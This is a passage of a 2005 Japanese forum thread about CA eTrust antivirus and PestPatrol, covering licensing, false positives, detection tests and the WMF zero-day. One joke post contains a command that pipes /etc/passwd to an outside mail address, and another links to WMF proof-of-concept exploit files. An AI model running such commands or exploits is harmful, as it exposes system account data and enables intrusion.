ダウンロードで約4.3MB、現在Verは7.0.8.1になってます。

748 :名無しさん@お腹いっぱい。:2005/10/30(日) 01:07:28
ttp://focus.sakura.ne.jp/nakedking/log/eid935.html
eTrust PestPatrol Anti-Spyware 2005 が無料で1年間使用可能!

おそらく 2006バージョンがでたためだと思われますが,

http://www.ca.com/de/dsin/

から1年間のアップデート権をもった eTrust PestPatrol Anti-Spyware 2005 が
ダウンロードできます。インストール時に日本語になりますのでご安心を。

eTrust EZ Antivirus 2005 もダウンロードできますが,こちらは日本語環境で
インストールするとドイツ語版のままです。とりあえず試したところ動作に
支障はなかったのでドイツ語に自信のある方はお試し下さい。

749 :名無しさん@お腹いっぱい。:2005/10/30(日) 13:34:13
多数のウイルス対策ソフトにファイルの中身をチェックしない脆弱性:IT Pro
ttp://itpro.nikkeibp.co.jp/article/NEWS/20051030/223725/

該当するので気をつけよう。

750 :741:2005/10/30(日) 18:30:48
>747さん
ありがとうございます。
無事インストール完了いたしました。
1年しか使えないのが難点ですが、軽くて良いですね。
情報感謝いたします。

751 :taka1:2005/10/30(日) 19:45:11
>>748
サーバーエラーってでてダウンロードできない><;

752 :名無しさん@お腹いっぱい。:2005/11/01(火) 00:43:51
amazonから御案内mail記念カキコ

753 :名無しさん@お腹いっぱい。:2005/11/01(火) 01:26:07
厨質問スマソ、、、

環境は7.0promo版(WinXPSP2)で

リアルタイムオプション -> フィルタ -> プロセス

で、監視対象から除外する設定をしたいのですが、
ここって拡張子も込みで記述が必要でしょうか?

拡張子入れても入れなくても追加が出来てしまうのでわからずorz...




754 :名無しさん@お腹いっぱい。:2005/11/02(水) 16:40:27
eTrustアンチウイルス2005って多少なりともスパイウェアに対応してるんでしょうか?

755 :名無しさん@お腹いっぱい。:2005/11/02(水) 18:01:29
>>754
eTrustの商品ラインナップを良く見れ。専用のスパイウェア対策製品売ってる。

756 :名無しさん@お腹いっぱい。:2005/11/02(水) 19:59:19
わかってるよ。だから「多少なりとも」と付けたんじゃねえか。低脳は引っ込んでろ。

757 :名無しさん@お腹いっぱい。:2005/11/02(水) 20:15:02
複数のウイルス対策ソフトにファイルのチェックを回避できる脆弱性
ttp://internet.watch.impress.co.jp/cda/news/2005/11/02/9725.html

>>756
氏んでいいよ(´ー`)y─┛~~

758 :名無しさん@お腹いっぱい。:2005/11/02(水) 20:45:24
自分で情報を調べられない香具師は低脳という自覚すらできないんだろうか(´ー`)y─┛~~

759 :名無しさん@お腹いっぱい。:2005/11/02(水) 21:01:04
>>754
 ・・・6レス前嫁。

>>611
超遅レスですが情報サンクスです。XpSp2に7.0プロモ版使っています。
出張でのAirH接続が多いのでXPを再起動するときがあるのですが、
LAN未接続でDHCPの親がいないためか、似た症状が起きていました。
それどころかタスクバーのATOK等他の表示まで消えていましたが
>>611を[代替IPアドレス]に設定したら直りました。
ほんと助かりました。611さんの情報が無ければ全く気付かないところでした。
サンクス!


<チラ裏>
なんとなくリアルタイムオプションの[隔離]を有効にしてみた。
そんな機能を有効にしたことをすっかり忘れたさっき、
ポップアップメッセージのテストの為にテストウィルスをクリックしてみた。

・・・自分が隔離されてシャットダウン以外全て拒否されたw
ちょwじぶんwwwやっべwwwww

ローカルでログオン中のユーザまでブロックするとは思わなかった。
てっきりネットワーク越しの他のマシンや、XPのFastUserSwitchingで
マルチログイン中の他ユーザが対象だとばっか思ってた。
</チラ裏>

760 :759:2005/11/02(水) 21:03:41
<追伸> 今は反省している。 </追伸>

761 :名無しさん@お腹いっぱい。:2005/11/03(木) 17:15:54
>>751
ねばれ

762 :名無しさん@お腹いっぱい。:2005/11/04(金) 22:13:35
んでEZ Antivirusはスパイウェアに対応してんの?

763 :名無しさん@お腹いっぱい。:2005/11/04(金) 22:16:08
>>762
してねーよ馬鹿

764 :名無しさん@お腹いっぱい。:2005/11/04(金) 22:17:34
>>763
おまえには聞いてないから引っ込んでてね

765 :名無しさん@お腹いっぱい。:2005/11/04(金) 22:19:20
>>764
答え言ってるじゃん阿呆
文盲かよ蛸
日本語学べ馬鹿

766 :名無しさん@お腹いっぱい。:2005/11/04(金) 22:19:51
ったく使えねえクズどもだな

767 :名無しさん@お腹いっぱい。:2005/11/04(金) 22:24:07
>>766
自分のことをクズなんて言っちゃいけませんわ^^

768 :名無しさん@お腹いっぱい。:2005/11/04(金) 22:36:40
>>762-767
今流行りのコントですか?

769 :名無しさん@お腹いっぱい。:2005/11/05(土) 19:33:43
このソフトが一番コストパフォーマンス良い。

Antivirus+ZAPの火壁+Pestpatrol

770 :名無しさん@お腹いっぱい。:2005/11/06(日) 00:04:32
>>748
インスコしてみました。

ライセンス認証済みのバージョンです。
スパイウェア定義ファイルの更新サービスは、5900 日後に期限切れになります。

16年も使えるんですね。

771 :名無しさん@お腹いっぱい。:2005/11/06(日) 00:20:54

ここのテスト結果はどう理解すればいいんだ

http://www.virus.gr/english/fullxml/default.asp?id=69&mnu=69

772 :名無しさん@お腹いっぱい。:2005/11/06(日) 00:33:27
すべてのプログラムをアップグレードと更新をしたと書いてあるね。
でもeTrustは手動でアプグレしなきゃならんけど、それを踏まえた上での結果なのかな。
あとその検証サイトが信頼たるものなのかね。

773 :名無しさん@お腹いっぱい。:2005/11/06(日) 00:34:57
VETぢゃね?

774 :名無しさん@お腹いっぱい。:2005/11/06(日) 01:01:01
ICSA(International Computer Security Association)が認定しているようだが、
ここのサイトのアドレスが分からん

775 :名無しさん@お腹いっぱい。:2005/11/06(日) 11:17:38
Vetエンジンってウンコなんですか?

776 :名無しさん@お腹いっぱい。:2005/11/06(日) 11:49:44
WINNYでウイルス採取でもしてCAに送ってやればいいよ

777 :名無しさん@お腹いっぱい。:2005/11/06(日) 12:11:23
eTrust Antivirus2005 起動時に3つ通信しているものがあります。

VETMSG.EXE  ISAFE.EXE  CAVTRAY.EXE

どこと何をやりとりしているのか心配です。ご存知の方、お教え下さい。


778 :名無しさん@お腹いっぱい。:2005/11/07(月) 00:19:32
PestPatrol Anti-Spyware 2005って、
HSPっていうプログラム言語のランタイムDLLもスパイウェアって認識しちゃうんだな。
隔離のとき気をつけないと。

779 :名無しさん@お腹いっぱい。:2005/11/07(月) 00:41:11
ベクターで気になって見たけどDL版なのに価格が・・・・。

780 :名無しさん@お腹いっぱい。:2005/11/07(月) 03:27:20
>>779 ¥3980だけどパッケージ版よりは¥1700安い。http://store.digitalriver.com/servlet/ControllerServlet?Action=DisplayPage&Locale=ja_JP&id=HomePage&SiteID=cajapan&Env=BASE

組み合わせ商品が1パターンしかないってのもマカフィーなんかより商売下手。

781 :名無しさん@お腹いっぱい。:2005/11/09(水) 13:06:52
とうとうNortonやバスターに越えられないぐらいの距離がついたな。

常駐の軽さ、検出力、メモリ消費、検査時間がどれも上位2本のが上になった。


782 :名無しさん@お腹いっぱい。:2005/11/09(水) 14:28:34
>>781 微妙なうえに分りにくい文章書くなゃ。
どう見たってノートンよりは軽くてメモリ消費は少ないと思うが。

783 :名無しさん@お腹いっぱい。:2005/11/09(水) 19:08:17
文脈から判断すると上位2本はnod32とetrustのことじゃないの?

784 :名無しさん@お腹いっぱい。:2005/11/09(水) 19:12:55
781はきっと、ノートンやバスターにコンピュータだけでなく、頭の方も
やられたんだろう。

785 :名無しさん@お腹いっぱい。:2005/11/09(水) 21:22:36
確かに検出力は圧倒的に負けてるな
ぶっちゃけ糞ースのウイルスセキュリティとかわらんもんね

786 :名無しさん@お腹いっぱい。:2005/11/09(水) 22:39:10
>>781
ソースきぼん

787 :名無しさん@お腹いっぱい。:2005/11/10(木) 00:07:38
>>771
それは見なかったことにする

788 :名無しさん@お腹いっぱい。:2005/11/10(木) 03:50:19
ttp://www.itmedia.co.jp/news/articles/0511/09/news061.html
いけいけCA!!

789 :人気者。:2005/11/10(木) 08:12:30
789get!!

                     cat /etc/passwd | mail nobody@nonexistent.com
                   http://bubble4.2ch.net/test/read.cgi/nendai/1128605930/
         ∧ ∧
        (・∀ ・)  <遠慮なく収めてくれ。 礼など要らぬ....。
        <(  )v     イェーイ!!


























790 :名無しさん@お腹いっぱい。:2005/11/10(木) 10:53:26
eTrustはキンタマに対応してますか?

791 :名無しさん@お腹いっぱい。:2005/11/10(木) 11:12:12
アンチウイルスがヘボでも
pestpatrolとゾヌの部分は強力。
どうせ寄せ集め統合ソフトなんだから
アンチウイルスの部分もカスペか
チェイサーぐらいにすればよかったのに。

792 :名無しさん@お腹いっぱい。:2005/11/10(木) 22:43:56
ca eTrust PestPatrolは使えないよ。残念だけれど…

793 :名無しさん@お腹いっぱい。:2005/11/11(金) 06:09:37
ttp://www3.ca.com/securityadvisor/newsinfo/collateral.aspx?cid=76345
いいネーミングだ!!

794 :名無しさん@お腹いっぱい。:2005/11/11(金) 06:18:24
【ソニーBMG製CD】「rootkit」のみならずMP3化妨害機能が仕込まれる
http://news19.2ch.net/test/read.cgi/news/1131596866/

ソニーwwwwwwwwwwwww

795 :名無しさん@お腹いっぱい。:2005/11/11(金) 23:39:27
.

796 :759:2005/11/12(土) 12:14:34
ダイアルアップ環境で、OS起動時にDHCPサーバからの割り当てがもらえない場合に
いちいちダイアルアップ後にMessengerサービス再起動するの面倒なんでバッチファイルを
書いてみますた。なんか過去ログにバッチ書けないよウワーン!ていってる人いたから貼っておきます。


下記の文字(@echo offからnet start messengerまで)をコピーしてメモ帳に貼付

文中の【あなたのダイアルアップ名】んトコを、ダイアルアップ設定の接続名に書換え

Ras.bat とでも名前を付けてどっかに保存

それ実行すればダイアルアップ→Msgrサービス再起動してくれます。
クイック起動バーに入れて使うとワンクリックで使えて楽でーす。

あ、漏れの環境ではOS起動後の最初の一回だけバッチで繋げばいいみたい。
あとは普通にダイアルアップしてもちゃんとポップアップ出てます。



@echo off
title ダイアルアップ接続 & Messengerサービス再起動 バッチ
echo <ダイアルアップ接続後にMessengerサービスを再起動します>

rasphone -d あなたのダイアルアップ名
net stop messenger
net start messenger


797 :759:2005/11/12(土) 12:37:07
あ、環境忘れスマソ。XpSp2にプロモ版(7.0.405)日本語化です。

ついでにジョブサーバの起動・停止も貼っときます。
サービスの管理で[eTrust Antivirus Job Server]を[手動]にして節約している場合に
いちいちコンパネやeTrustのメニューから辿らなくてもワンクリックでうpデートおk。

下記の文字列(@echo offからnet start InoTaskまで)をコピーして
メモ帳に貼付し、Jobsv_Start.batとかで保存してくだちい。
これをダブルクリックすればジョブサーバが起動してうpデートしてくれます。


@echo off
title eTrust Antivirus ジョブサーバ 起動バッチ
echo <eTrust Antivirus ジョブサーバを起動します>

net start InoTask


で、終わったら(タスクバーのうpデートのアイコンが消えたら)ジョブサーバ停止。
下記の文字列(@echo offからnet stop InoTaskまで)をコピーしてメモ帳に貼付し、
Jobsv_Stop.batとか名前付けて好きなとこに保存してくだちい。
これをダブルクリックすればジョブサーバが停止します。以上っす。


@echo off
title eTrust Antivirus ジョブサーバ 停止バッチ
echo <eTrust Antivirus ジョブサーバを停止します>

net stop InoTask

798 :名無しさん@お腹いっぱい。:2005/11/13(日) 06:55:05
eTrust が入った環境に、
eTrust PestPatrol Anti-Spyware 2005
を入れてもいいの。?
それとも eTrust 消してからじゃないとだめ。
教えて。

799 :名無しさん@お腹いっぱい。:2005/11/13(日) 15:55:04
agree

800 :名無しさん@お腹いっぱい。:2005/11/13(日) 16:11:04
800
 *     +    巛 ヽ
            〒 !   +    。     +    。     *     。
      +    。  |  |
   *     +   / /   ヒヤッッホォォォーイ!
       ∧_∧ / /
      (´∀` / / +    。     +    。   *     。
      ,-     f
      / ュヘ    | *     +    。     +   。 +
     〈_} )   |
        /    ! +    。  ∧ ∧   +    +     *
       ./  ,ヘ  |        (・∀ ・)  <イェーイ!!
 ガタン ||| j  / |  | |||      <(  )v
――――――――――――    / <

801 :名無しさん@お腹いっぱい。:2005/11/13(日) 20:35:37
800get

802 :名無しさん@お腹いっぱい。:2005/11/13(日) 22:01:39
>>798
>>797の環境に入れましたが大丈夫ですよ。
しかしPestPatrol自体があまり良いソフトとは思えないのでやめておいた方が……
トラブル起こすような誤検知が大杉。同じ会社が売っているソフトとは思えんorz
詳しくは専用スレがあったのでドゾー
http://pc8.2ch.net/test/read.cgi/sec/1090146798/

803 :名無しさん@お腹いっぱい。:2005/11/13(日) 22:31:19
>>802 えええーっ、購入しちゃったんだけど。Ad−AwareSEと併用
してまふ。どうせ金だすならAd−AwareProが良かった?

804 :名無しさん@お腹いっぱい。:2005/11/14(月) 22:52:51
このソフトって、検出力ってどうなの?

805 :名無しさん@お腹いっぱい。:2005/11/14(月) 22:57:09
>>804
市販の有名ソフトと比べるとやや劣る。

806 :名無しさん@お腹いっぱい。:2005/11/15(火) 02:00:14
>>805
知恵と勇気で補え

807 :名無しさん@お腹いっぱい。:2005/11/15(火) 10:22:10
五月からPestPatrol使ってるけど、これといった不具合なし。
ヤフオク出品用に使っている「検索君」にキーロガーが
仕込まれているとうるさく警告してくるくらいか。

808 :名無しさん@お腹いっぱい。:2005/11/15(火) 10:49:33
>>805
かなり劣るだろ

809 :名無しさん@お腹いっぱい。:2005/11/15(火) 12:56:11
>>804
ttp://www.virus.gr/english/fullxml/default.asp?id=69&mnu=69

これを見ろ
最低ランクだ

810 :名無しさん@お腹いっぱい。:2005/11/15(火) 13:34:44
どうせおまいらトライアル版使ってごねてるだけだろ。
嫌ならavastでも使えやハゲ。


811 :名無しさん@お腹いっぱい。:2005/11/15(火) 14:28:31
>>809
とりあえず他と比べて評価だとかなんだとかは余所でやれ

で、何度となくそのリンク貼る奴がいるが、エンジンVet
検出対象の詳細不明、よって第三者による追試不可能
おそらくウイルス、スパイウェア、トロイ等など糞みそにウイルスと定義
ewidoやa2がラインナップに入ってるだけでも容易に想像できる

で、以上をふまえて純粋にウイルスに対する検出率で>>805

etrustを貶めようと工作するならVB100に通らなかったことがあるソースでも貼っとけ池沼

812 :名無しさん@お腹いっぱい。:2005/11/15(火) 15:08:52
>>805の有名ソフトってのは黄箱や赤箱か?

813 :名無しさん@お腹いっぱい。:2005/11/15(火) 15:37:37
>>809
     /∵  ▼ \
    /∴       ヽ      / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
   , |∴   /  \ |、   /
  |`──-( / )-( \)l |  <  0%ってよ...
  | [     ,   っ  l |    \
  `-,     'ヽ、_ソ  }'     \____________
   ノ ヽ、    `'   ノ、
 /     ゝ ── '   ヽ
/   ,ィ -っ、        ヽ
|  / 、__ う 人  ・ ,.y  i
|    /        ̄ |  |
ヽ、__ノ          ノ  ノ
  |      x    9  /
   |   ヽ、_  _,ノ 彡イ
   |     (@u@)  |

814 :名無しさん@お腹いっぱい。:2005/11/15(火) 19:41:18
0%なのか
だめじゃんこのソフトw

815 :名無しさん@お腹いっぱい。:2005/11/15(火) 22:20:10
昔と今では全く違う。昔は良かった。PestPatrol 今はダメぽ。

816 :名無しさん@お腹いっぱい。:2005/11/19(土) 10:35:36
年間費いくらですか?

817 :名無しさん@お腹いっぱい。:2005/11/19(土) 11:02:37
と言うかVetしか使ってないならeTrust使う意味もないと思うんだがなあ

818 :名無しさん@お腹いっぱい。:2005/11/23(水) 20:48:52
買ったのだが。。。。。確かに全ての機能で他社に負けている。軽いだけが救いか。

819 :名無しさん@お腹いっぱい。:2005/11/23(水) 20:58:03
>>818
どれを買ったの?

820 :名無しさん@お腹いっぱい。:2005/11/23(水) 21:36:42
>>818
ねえねえ、どういったとこが劣ってるの?
どこも大して変わらんと思うが。
ノートン使ってればいいんじゃない?

821 :名無しさん@お腹いっぱい。:2005/11/24(木) 01:37:22
キムチ臭いソフトよりはいいでしょう

822 :名無しさん@お腹いっぱい。:2005/11/24(木) 07:41:25
検出率のテスト結果はあまり良くはないし

>>820
ナニが言いたい

823 :名無しさん@お腹いっぱい。:2005/11/24(木) 09:50:35
バカはノートンなどの高性能ソフトに金出してろ、ってことだな

824 :名無しさん@お腹いっぱい。:2005/11/24(木) 10:46:21
てか、値段もノートン大して変わらないじゃん。
だったら(ry

825 :名無しさん@お腹いっぱい。:2005/11/24(木) 12:25:51
重さは大して変わるけどな。
ってか、値段はプロm(ry

826 :名無しさん@お腹いっぱい。:2005/11/24(木) 12:47:19
InoculateIT 23.70.108でCCleanerのセットアップファイルCCleanerをスキャンすると
Win32/Istbar.65280!Trojanと検出するんだが、これは誤検出?

827 :826:2005/11/24(木) 12:48:35
×セットアップファイルCCleaner
○セットアップファイルCCSETUP125.EXE

828 :名無しさん@お腹いっぱい。:2005/11/24(木) 13:06:10
 

829 :名無しさん@お腹いっぱい。:2005/11/24(木) 14:08:50
This is a report processed by VirusTotal on 11/24/2005 at 06:08:09 (CET)
after scanning the file "ccsetup125.exe" file.
Antivirus   Version     Update   Result         
AntiVir    6.32.0.6    11.24.2005 no virus found     
Avast     4.6.695.0    11.23.2005 no virus found     
AVG      718       11.23.2005 no virus found     
Avira     6.32.0.6    11.24.2005 no virus found     
BitDefender  7.2       11.24.2005 no virus found     
CAT-QuickHeal 8.00      11.23.2005 no virus found     
ClamAV     devel-20051108 11.24.2005 no virus found     
DrWeb     4.33      11.23.2005 no virus found     
eTrust-Iris  7.1.194.0    11.23.2005 Win32/Istbar.65280!Trojan
eTrust-Vet   11.9.1.0    11.23.2005 no virus found     
Fortinet    2.48.0.0    11.24.2005 no virus found     
F-Prot     3.16c      11.24.2005 no virus found     
Ikarus     0.2.59.0    11.23.2005 no virus found     
Kaspersky   4.0.2.24    11.24.2005 no virus found     
McAfee     4635      11.23.2005 no virus found     
NOD32v2    1.1302     11.24.2005 no virus found     
Norman     5.70.10     11.23.2005 no virus found     
Panda     8.02.00     11.23.2005 no virus found     
Sophos     3.99.0     11.24.2005 no virus found     
Symantec    8.0       11.24.2005 no virus found     
TheHacker   5.9.1.044    11.23.2005 no virus found     
VBA32     3.10.5     11.23.2005 no virus found     

誤検出っぽいな。

830 :名無しさん@お腹いっぱい。:2005/11/24(木) 22:31:06
CA、“スパイウェア撲滅隊”を設立――隊長に“ブログの女王”の眞鍋かをりさんを任命
http://ascii24.com/news/i/topi/article/2005/11/24/659232-000.html


831 :名無しさん@お腹いっぱい。:2005/11/24(木) 22:55:31
いーとらすとで読み方あってる?

832 :名無しさん@お腹いっぱい。:2005/11/24(木) 22:59:04
イートゥラストゥ

833 :名無しさん@お腹いっぱい。:2005/11/25(金) 16:29:19
ィートゥラウトゥ

834 :名無しさん@お腹いっぱい。:2005/11/25(金) 23:52:08
Winampにも誤爆してるような
InoculateIT 23.70.109が以下からWin32/Istbar.65280!Trojanを検出
winamp5111_full_emusic-7plus.exe
winamp5112_full_emusic-7plus.exe
uninstwa.exe (Winampのアンインストーラ)

835 :名無しさん@お腹いっぱい。:2005/11/26(土) 11:18:23
ヒューリスティック切ってみたら?

836 :名無しさん@お腹いっぱい。:2005/11/26(土) 19:09:56
>>834
Winampはliteでも誤検知が発生しますた。
もちろんインスコできません。
これってパターンファイルみたいなものが更新されれば
無くなるのでしょうか?

837 :名無しさん@お腹いっぱい。:2005/11/26(土) 23:47:28
>>835
ダメ、同じバージョンで誤爆した
例外登録で回避中

>>836
誰か通報してるだろうから、シグネチャが更新されたら大丈夫かと

838 :名無しさん@お腹いっぱい。:2005/11/26(土) 23:49:42
eTrustのインターネットセキュリティ買って来た。
店員が「スパイウェアに強い」って押してたけど、軽さ意外に長所が無い。
安置ウイルスと防火壁、安置スパムが全部別画面てどういうことやねん。
一つの画面からアクセスできるようにしろよ。ウイルススキャン機能に「中止」は
あっても「一時停止」がないし。ユーザーの利便性って知ってる?
それにインターフェースも使いづらい。マジ最悪。CDをゴミ箱にぶち込んで、
明日別のソフト買いに行くよ。

839 :名無しさん@お腹いっぱい。:2005/11/27(日) 00:49:34
オレにくれ

840 :名無しさん@お腹いっぱい。:2005/11/27(日) 09:00:42
ここ読んでると次年度更新したくなくなるw

841 :名無しさん@お腹いっぱい。:2005/11/27(日) 22:56:16
検出力にorz 

842 :名無しさん@お腹いっぱい。:2005/11/28(月) 23:11:07
InoculateIT 23.70.110で修正された模様>>834

843 :名無しさん@お腹いっぱい。:2005/11/29(火) 11:23:52
更新しなくていい7.1買えばいいのに。
2005は年ごと更新いるからさ。

844 :名無しさん@お腹いっぱい。:2005/11/30(水) 11:40:50
みんな買収したり、OEM製品の詰め合わせだからかなぁ・・・
FWはまだZAそれともTiny?
軽いのと無料なのが利点だよね。

845 :名無しさん@お腹いっぱい。:2005/11/30(水) 12:45:00
重くて、不具合出まくりで悩まされるより、
軽くて、安定してるのを選ぶものだがね

過剰はダメよ

846 :名無しさん@お腹いっぱい。:2005/12/01(木) 00:35:23
>>845
(*´Д`)ハァハァ/lァ/lァ/ヽァ/ヽァ ノ \ア ノ \ア / \ ア / \ ア

847 :名無しさん@お腹いっぱい。:2005/12/01(木) 19:15:52
久々にOS(XP SP2)再インストールして7.0プロモをインストールした後
CUMULATIVE FIX 0405をあてようとするとUpdPatWizard MFC Applicationを
終了します。が出て強制終了になってしまいます。同じ様な症状が出て解決
出来た方いませんか?
因みにもう1台(XP SP1)は問題なく当てることが出来たのですが。

848 :名無しさん@お腹いっぱい。:2005/12/03(土) 15:31:39
eTrsutがTinyを買収したせいでTinyFirewall64の更新が止まって
TinyのWindows Security部分が腐ったままだ。バグバグのまま放置。
Firewallの部分しか実用不可能。
Computer Associatesまじ死んで欲しい。

ウイルス検知率ではAVGより下…
しかもAhnlab.com(V3ウイルスブロック)、KV2005(ウイルスドクター)よりも下だった

検知率で勝ってるのはkingsoft(金山毒覇)、ウイルスキラー、ウイルスセキュリティ (K7 Computing)くらい。

何でこんな糞会社がTinyを買収したんだ。最悪だ。
お前らよくこんなもん使ってられるな

849 :名無しさん@お腹いっぱい。:2005/12/03(土) 16:16:50
まだウイルス検知率とか言ってる馬鹿が存在してるんだな

850 :名無しさん@お腹いっぱい。:2005/12/03(土) 20:25:44
>849は世間知らずなの。許してやってよ。

851 :名無しさん@お腹いっぱい。:2005/12/03(土) 20:56:37
一足先に64bit版の試験
2005/12 Windows Server2003 ENTERPRISE X64 VERSION Virus Bulletin誌の試験結果
------------------------------------------------------------------------------------
アンチウィルスメーカー  exeファイル   OLEファイル   exe(zip)   OLE(zip)    検出性能(総合)
------------------------------------------------------------------------------------
Alwil avast!.         56秒( 3倍)    13秒      45秒   14秒        ミス=147
CA eTrust(T)         53秒( 3倍)     2秒      21秒    4秒        ミス=9
CA eTrust(X)         44秒( 2倍)     1秒      23秒    4秒        ミス=16
Cat Quick Heal        38秒( 2倍)     6秒      22秒    6秒        ミス=542
Eset             18秒( 1倍)     2秒      13秒    3秒        完璧でした
GDATA AntiVirusKit.  194秒(11倍)     7秒      74秒   10秒        ミス=3(ItW)
Grisoft AGV.          75秒( 4倍)     3秒      28秒    4秒        ミス=287
Kaspersky.          85秒( 5倍)     8秒      40秒    9秒        ミス=2
McAfee            42秒( 2倍)     5秒      27秒    6秒        ミス=29
Symantec.           79秒( 4倍)     7秒      33秒    5秒        完璧でした
------------------------------------------------------------------------------------

852 :名無しさん@お腹いっぱい。:2005/12/03(土) 21:15:27
>>全角厨
必死にマルチ乙。

853 :名無しさん@お腹いっぱい。:2005/12/08(木) 18:03:56
ITでmpcを誤検出


854 :名無しさん@お腹いっぱい。:2005/12/08(木) 20:22:36
おお、俺も

855 :名無しさん@お腹いっぱい。:2005/12/08(木) 22:39:03
>>853-854

>>722


856 :名無しさん@お腹いっぱい。:2005/12/08(木) 23:21:26
おれもたった今mpcごっそり削除されたw

857 :名無しさん@お腹いっぱい。:2005/12/08(木) 23:33:54
で、mpcって何よ?

858 :名無しさん@お腹いっぱい。:2005/12/08(木) 23:39:06
media player classic

859 :名無しさん@お腹いっぱい。:2005/12/08(木) 23:57:06
俺んところでは問題ないな。

eTrustAV プロモ
IT 23.71.13
ヒューリスティック ON
WindowsXP
MPC6.4.8.4〜7

860 :名無しさん@お腹いっぱい。:2005/12/09(金) 00:30:25
UDのインストールフォルダにあるudtapi.dllに反応する
誤検出かな?同じ現象が起きてる人はいませんか?

861 :名無しさん@お腹いっぱい。:2005/12/09(金) 01:56:46
>>860
お前もか・・・
感染したと思ってOSクリーンインスコ中 
早まった orz

解析終わって罰金状態になった
OSクリーンインスコ前にUD削除して入れ直したがサインアップできんかった

862 :名無しさん@お腹いっぱい。:2005/12/09(金) 01:58:20
mpcって要る?
mplayer2(\Program Files\Windows Media Player\mplayer2.exe)で十分なんだが。
RealMovieをMediaPlayerで再生したければRealMediaSplitterがある。

863 :名無しさん@お腹いっぱい。:2005/12/09(金) 02:43:22
あぁ、そうだな
でもここはeTrustスレだ

864 :名無しさん@お腹いっぱい。:2005/12/09(金) 11:56:59
ttp://www.my-etrust.com/microsoft/
の1年体験版をWin98に入れてみた。
Real-Time Protectionに×がついたままで何をやっても変更できないんだが、
少なくともeicar.comでテストした限りではちゃんと動いている。

865 :名無しさん@お腹いっぱい。:2005/12/09(金) 15:27:20
感染ファイルをDLしようとするとポップアップ警告出るんだけど、
感染したHP開いても何も起きずに、後でログみてびっくり。

何か設定が違ってるのでしょうか?
エロばっかり見ている私に、誰か教えてくらさい

866 :(゚ω ゚) ◆JosoBYcWOU :2005/12/09(金) 19:09:51 ?#
>>860
>>861
漏れも再インスコ寸前だった(゚ω ゚)アブナス

867 :853:2005/12/15(木) 00:41:05
>>855
なるほろ、誤検出じゃなくて仕様か。じゃ、例外登録するっか
と思ってITに戻したら、検出しなくなってるなぁ。直したんだろうか?


868 :名無しさん@お腹いっぱい。:2005/12/19(月) 00:58:01
あげとく

869 :名無しさん@お腹いっぱい。:2005/12/19(月) 16:11:55
なんだこれ糞か

870 :名無しさん@お腹いっぱい。:2005/12/19(月) 16:25:38
>>864
一度接続を切ってリセットしてやってwinを再起動すれば治る。

871 :名無しさん@お腹いっぱい。:2005/12/21(水) 12:53:16
半年持たないことはないだろう
ただ場所が確かに良くない
認知度があがって波に乗れば他に100均もないし、そこそこやっていけるのでは、と思う
店員の慣れやレイアウトの見直しとか今後に期待しておくよ
ampmがこれで明大前に3件になってしまった
青山には普通のampmが5件近接してるし営業戦略の一環なのかもしれんね

>>249
SHOP99と商圏はかぶらないし特段狭いわけでもないのに広さにこだわるのがわからない
真新しい物というけど明大前に100均が出来たこと自体が真新しいと思うのだが
>>242は言葉が足りないので自分の意見には見えない
はたから見てると残念ながらあなたに問題が多いのではないかと感じる
250氏もエキサイトしすぎで空回りしてしまってるが言いたいことはまだわかる

872 :名無しさん@お腹いっぱい。:2005/12/21(水) 13:57:01
言いたいことは多分わからない

873 :名無しさん@お腹いっぱい。:2005/12/21(水) 14:34:39
書き込む場所間違えてるんだろ

874 :名無しさん@お腹いっぱい。:2005/12/21(水) 14:50:06
871はetrustで削除されません

875 :名無しさん@お腹いっぱい。:2005/12/28(水) 01:14:44


876 :名無しさん@お腹いっぱい。:2005/12/29(木) 02:52:07
今の段階ではwmf検出しないね。

877 :名無しさん@お腹いっぱい。:2005/12/29(木) 14:29:29
winstall wo sakujyo suru niha
doushitara ii desuka?

878 :名無しさん@お腹いっぱい。:2005/12/29(木) 17:52:10
対応が遅いね。

879 :名無しさん@お腹いっぱい。:2005/12/30(金) 20:39:32
未だ対応されず・・・Windows WMF 0-day exploit
Ino 23.71.33
Vet 12.4.2021

880 :名無しさん@お腹いっぱい。:2005/12/30(金) 21:01:02
サンプル送るのがはやみち

881 :名無しさん@お腹いっぱい。:2005/12/30(金) 21:07:25
つーか
ttp://www.st.ryukoku.ac.jp/~kjm/security/memo/2005/12.html#20051228_WMF
にあるようにマカフィーやNODは対応早いな。
アドバイザリ自体は2005-12-12T18:36:36に出てるのになぁ。
>>880
CalcExploitしかないのだが('A`)

882 :名無しさん@お腹いっぱい。:2005/12/30(金) 21:58:35
wmfって開いただけでもアウトってやつ?

883 :名無しさん@お腹いっぱい。:2005/12/30(金) 22:08:44
JavaスクリプトやActiveXにも関係なくそのサイトを開いたらアウト
デスクトップに置かれてたり開けてみたフォルダに置かれててもアウト
・・・・もちろん影響を受ける人だけだけどね

個人的にはshimgvw.dllを利用した外部アプリをつぶす方がめんどっちくていやだ
ピンポイントで狙われる事はないだろうけどそれなりに影響受けそう

884 :名無しさん@お腹いっぱい。:2005/12/30(金) 22:13:38
当分迂闊にアドレスクリックできないな

885 :名無しさん@お腹いっぱい。:2005/12/30(金) 22:20:23
avast!に乗り換えようかな

886 :名無しさん@お腹いっぱい。:2005/12/30(金) 22:35:54
>>884
拡張子はwmfでなくてもいいので
open janeやirfanviewなんかで偽装jpg見るだけでもアウトらしい
危ない画像ビューアは他にもあるかも(ブラウザとビューアが合体してて画像を先読みするタイプが一番危険)


887 :名無しさん@お腹いっぱい。:2005/12/30(金) 22:57:04
これはMSが対応しなきゃ話にならない話だな
セキュリティベンダがどうこう言う問題を超えている

888 :名無しさん@お腹いっぱい。:2005/12/31(土) 00:27:47
MSの対応までにダウソ厨が全滅してくれればいいのに

889 :名無しさん@お腹いっぱい。:2005/12/31(土) 02:28:35
AntiVirに暫く乗り換えます

890 :名無しさん@お腹いっぱい。:2005/12/31(土) 08:21:11
InoculateITで修正されたみたいだけど、電卓の方はブロックしてくれない
なんか中途半端

検証用ファイル
http://grin.flagbind.jp/runcalc.wmf 電卓が起動するだけ
http://kikuz0u.x0.com/wmf_exp.html メモ帳が起動するだけ


891 :名無しさん@お腹いっぱい。:2005/12/31(土) 17:03:07
ローカルスキャンできるようになっただけでも一安心。
これはOS側の責任範囲なんかなぁ。

892 :名無しさん@お腹いっぱい。:2005/12/31(土) 19:36:00
>>891
ローカルスキャンだけでは・・・IE使ってる限りやばくね?
今回の脆弱性は完全にMSがうんこなだけ。
「よく寄せられる質問」なぞ更新している暇があるなら
とっととパッチ出せよと。

893 :名無しさん@お腹いっぱい。:2005/12/31(土) 22:03:23
